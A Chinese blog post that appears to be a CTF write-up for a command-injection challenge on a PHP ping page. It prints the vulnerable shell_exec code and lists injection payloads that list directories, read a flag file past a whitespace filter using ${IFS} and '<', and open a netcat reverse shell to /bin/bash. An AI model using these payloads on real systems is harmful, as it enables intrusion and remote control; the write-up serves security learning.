美文网首页
命令执行--网络公司ping命令测试

命令执行--网络公司ping命令测试

作者: ch3ckr | 来源:发表于2017-12-05 22:28 被阅读112次

题目地址:http://183.67.184.159:8888/ctf/shellcodeexec/index.php
题目页面如下:

前端校验部分可以通过抓包,改包绕过。
关键代码如下:
<?php 
if(!isset($_POST["iipp"]))
{
    echo '';
}
else
{
    $iipp =preg_replace("/\s/","",$iipp);
    $result=shell_exec('ping -c 4 '.$iipp);
    $result=str_replace("\n","<br>",$result);
    echo $result;
    
}?>

这里preg_replace过滤了换行符,空格,所以空格,%0a,%0d不可以使用。
一般做法是先列出目录(payload:):

iipp=2;find&submit=Ping(find命令直接把当前目录下所有文件及子目录文件列出来)
iipp=2;ls&submit=Ping
iipp=|ls&submit=Ping
iipp=||ls&submit=Ping

由于过滤了空格,换行,所以绕过过滤即可读取flag(payload:)。

iipp=2|cat<key_31321321421543.php&submit=Ping
iipp=2|strings<key_31321321421543.php&submit=Ping
...(各种读文件命令)
iipp=2||cat${IFS}key_31321321421543.php&submit=Ping
iipp=1|cat$IFS$9key_31321321421543.php&submit=Ping

这里还可以反弹shell进行读取文件或者进行其他操作(payload:)。

nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
...

相关文章

  • 命令执行--网络公司ping命令测试

    题目地址:http://183.67.184.159:8888/ctf/shellcodeexec/index.p...

  • Linux命令

    握手挥手1.ping命令ping命令用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求...

  • 从零开始学习Linux(十三):网络命令

    1、ping 命令作用:测试网络连通性命令格式:ping [IP或域名] 查看当前网络与百度是否通讯正常,执行命...

  • BUUCTF Ping ping ping WP

    0x00 Ping ping ping 看名字感觉是一道命令执行,因为DVWA里边命令执行的例子就是Ping果然,...

  • ping 包长度及 MTU

    ping 命令是测试网络是否连通最常用的命令,而无论是 Windows 还是 Linux,ping 命令都可以指定...

  • 命令执行

    命令执行原因 ` 这里就同时执行了ping和ls命令 命令执行绕过 1.命令分隔符绕过 2.空格绕过 1.< 符号...

  • 每天一个Linux命令之ping

    ping命令用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的...

  • [Linux]-ping命令 – 测试主机间网络连通性

    语法 ping命令主要用来测试主机之间网络的连通性,也可以用于。执行ping指令会使用ICMP传输协议,发出要求回...

  • 玩转「Wi-Fi」系列之常用命令

    涉及到网络相关的命令很多,一些常用命令如下: Ping Ping是Linux系统常用的网络命令,它通常用来测试与目...

  • 在IOS平台实现Ping 和 traceroute

    ping 命令 Ping是为了测试另一台主机是否可达,现在已经成为一种常用的网络状态检查工具。 常见的ping命令...

网友评论

      本文标题:命令执行--网络公司ping命令测试

      本文链接:https://www.haomeiwen.com/subject/imhhixtx.html